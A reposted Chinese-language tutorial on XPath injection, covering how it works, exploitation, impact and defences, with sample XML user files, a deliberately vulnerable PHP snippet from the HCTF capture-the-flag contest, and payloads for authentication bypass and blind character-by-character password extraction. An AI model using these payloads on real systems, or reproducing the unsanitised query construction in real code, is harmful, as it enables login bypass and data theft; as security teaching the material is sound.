4.xpath注入詳解


0x01 簡介

XPath注入攻擊是指利用XPath 解析器的松散輸入和容錯特性,能夠在 URL、表單或其它信息上附帶惡意的XPath 查詢代碼,以獲得權限信息的訪問權並更改這些信息。XPath注入發生在當站點使用用戶輸入的信息來構造請求以獲取XML數據。攻擊者對站點發送經過特殊構造的信息來探究站點使用的XML是如何構造的,從而進一步獲取正常途徑下無法獲取的數據。當XML數據被用作賬戶驗證時,攻擊者還可以提升他的權限。

語法:

 

0x02 原理

 

XPath 注入的原理與sql注入大體類似。主要是通過構建特殊的輸入,這些輸入往往是XPath語法中的一些組合,這些輸入將作為參數傳入Web 應用程序,通過執行XPath查詢而執行入侵者想要的操作。但是,注入的對象不是數據庫users表了,而是一個存儲數據的XML文件。因為xpath不存在訪問控制,所以我們不會遇到許多在SQL注入中經常遇到的訪問限制。 注入出現的位置也就是cookieheadersrequest parameters/input等。 例如:

xml version="1.0" encoding="UTF-8"?> 
<users> 
      <user> 
            <firstname>Ben</firstname> 
            <lastname>Elmore</lastname> 
            <loginID>abc</loginID> 
            <password>test123</password>
      </user> 
      <user> 
            <firstname>Shlomy</firstname> 
            <lastname>Gantz</lastname> 
            <loginID>xyz</loginID> 
            <password>123test</password>
      </user>
      <user> 
            <firstname>Jeghis</firstname> 
            <lastname>Katz</lastname> 
            <loginID>mrj</loginID>
            <password>jk2468</password> 
      </user>
      <user> 
            <firstname>Darien</firstname> 
            <lastname>Heap</lastname>
            <loginID>drano</loginID> 
            <password>2mne8s</password>
     </user>
 </users>
正常查詢//users/user[loginID/text()='xyz'and password/text()='123test'],如果黑客在 loginID 字段中輸入:' or 1=1 or ''=' 
則變成//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''=''],成功獲取所有user數據,然后
攻擊者完成登錄可以再通過XPath盲入技術獲取最高權限帳號和其它重要文檔信息。

0x03 利用

如果一個網站某應用程序將數據保存在XML中,並且對用戶的輸入沒有做限制,攻擊者提交了沒有經過處理的輸入,就插入到 XPath 查詢中,即產生Xpath注入,那么就攻擊者就可能通過控制查詢,獲取數據,或者刪除數據之類的操作。

Xpath是xml路徑語言,用於配置文件的查找。數據庫就是xml文件。因此只要是利用XPath語法的Web 應用程序如果未對輸入的XPath查詢做嚴格的處理都會存在XPath注入漏洞。比如一些登錄地址頁面,搜索頁面需要與xml交互的位置。

判斷依據:主要根據錯誤信息頁面判斷以及查看源碼進行分析。

 

Example:Bwapp

首先這是這個Get方式請求驗證,因此對get的參數進行注入測試,發現報錯信息,說明是可能通過xml存儲於前端交互。

 

然后構造xpath查詢語句//users/user[loginID/text()='' and password/text()=''],因此'or 1=1 or ''='或者' or '1'='1等使其為真可以。

 

Example:hctf

index.html

<?php
$re=array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); 

setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); 

if(file_exists('t3stt3st.xml')) 
{ 
      $xml = simplexml_load_file('t3stt3st.xml'); 
      $user=$_GET['user']; 
      $user=str_replace($re, ' ',$user);
      $query="user/username[@name='".$user."']";
      $ans = $xml->xpath($query); 
      foreach($ans as $x => $x_value) 
     { 
           echo $x.": " . $x_value; echo "<br />"; } 
     } 
?>
t3stt3et.xml
xml version="1.0" encoding="utf-8"?> 
<root1> 
      <user> 
           <username name='user1'>user1</username> 
           <key>KEY:1</key> 
           <username name='user2'>user2</username> 
           <key>KEY:2</key> 
           <username name='user3'>user3</username> 
           <key>KEY:3</key> 
           <username name='user4'>user4</username> 
           <key>KEY:4</key> 
           <username name='user5'>user5</username> 
           <key>KEY:5</key> 
           <username name='user6'>user6</username> 
           <key>KEY:6</key> 
           <username name='user7'>user7</username> 
           <key>KEY:7</key> 
           <username name='user8'>user8</username> 
           <key>KEY:8</key> 
           <username name='user9'>user9</username> 
           <key>KEY:9</key> 
      </user>
      <hctfadmin> 
           <username name='hctf1'>hctf</username>             
           <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> 
      </hctfadmin>
 </root1>
 
        

通過查看源碼$query,然后構造payload: `']|//*|['`

Example:

 

<addressBooke>
      <address>
      <name>Tom</name>
      <password>abcdefg</password>
      <age>20</age>
      <phone>13000000000</phone>
 </address>
 <address>
      <name>Bob</name>
      <password>abcdefg</password>
      <age>30</age>
      <phone>13000000001</phone>
 </address>
 <address>
      <name>Jack</name>
      <password>abcdefg</password>
      <age>40</age>
      <phone>13000000002</phone>
 </address>

 


原理類似SQL注入,構建新的查詢邏輯來進行攻擊
但是要注意,關鍵詞像函數這種的區分大小寫
1.構建新的邏輯實現注入
or 1=1
and 1=2
'or 'a'='a
'and 'a'='b
一個字節一個字節的提取出信息:
'or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' and 'a'='a
返回正常則判斷正確
等同於下面的查詢:
//address[name/text()='' or //address[name/text()='Tom' and substring(password/text(),1,1))] ='a' ]and 'a'='a]/phone/text()
通過查詢名字的輸入 卻查詢到了了tom的密碼首位,嘗試攻擊每一個字符位置並測試每一個可能的值,獲得密碼
 
2.當然了大部分情況下,我們不能夠知道任何節點的名稱或者說只能知道一部分,可使用盲注XPath
相當於SQL盲注(大家都對語句嫩熟於心,不多提了)
首先提取父節點的名字:
'or substring(name(parent::*[position()=1]),1,1)='a  正常
'or substring(name(parent::*[position()=1]),2,1)='d  正常
........
父節點名字為address 是元素節點
提取子節點名字
'or substring(//address[1]/*[2],1,1)='p' or 'a'='a 正常
'or substring(//address[1]/*[2],2,1)='a' or 'a'='a 正常
........
二號子節點名稱為password
提取子節點的值:
基於原理://address[1]/*[2]/text() -> tom的password 但是這個不會輸出
我們通過布爾型來查詢XML所有的內容
'or substring(//address[1]/*[2]/text(),1,1)='a' or'a'='a 正常
'or substring(//address[1]/*[2]/text(),1,1)='b' or'a'='a 正常
......
第二個子節點值為abcdefg
 
測試步驟:
提交這些看能否使得狀態改變 (count返回子節點數量)
' or count(parent::*[position()=1])=0 or 'a'='b 狀態1
' or count(aprent::*[position()=1])>0 or 'a'='b 狀態改變
數字型參數:
1 or count(parent::*[position()=1])=0
1 or count(parent::*[position()=1])=0 狀態改變
確定了存在注入點,用上面的方法注入就可以了!

0x04 危害

  1. 在URL及表單中提交惡意XPath代碼,可獲取到權限限制數據的訪問權,並可修改這些數據;
  2. 可通過此類漏洞查詢獲取到系統內部完整的XML文檔內容。
  3. 邏輯以及認證被繞過,它不像數據庫那樣有各種權限,xml沒有各種權限的概念,正因為沒有權限概念,因此利用xpath構造查詢的時候整個數據庫都會被用戶讀取。

0x05 防御

  1. 數據提交到服務器上端,在服務端正式處理這批數據之前,對提交數據的合法性進行驗證。
  2. 檢查提交的數據是否包含特殊字符,對特殊字符進行編碼轉換或替換、刪除敏感字符或字符串。
  3. 對於系統出現的錯誤信息,以IE錯誤編碼信息替換,屏蔽系統本身的出錯信息。
  4. 參數化XPath查詢,將需要構建的XPath查詢表達式,以變量的形式表示,變量不是可以執行的腳本。
  5. 通過MD5、SSL等加密算法,對於數據敏感信息和在數據傳輸過程中加密,即使某些非法用戶通過非法手法獲取數據包,看到的也是加密后的信息。 總結下就是:限制提交非法字符,對輸入內容嚴格檢查過濾,參數化XPath查詢的變量。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM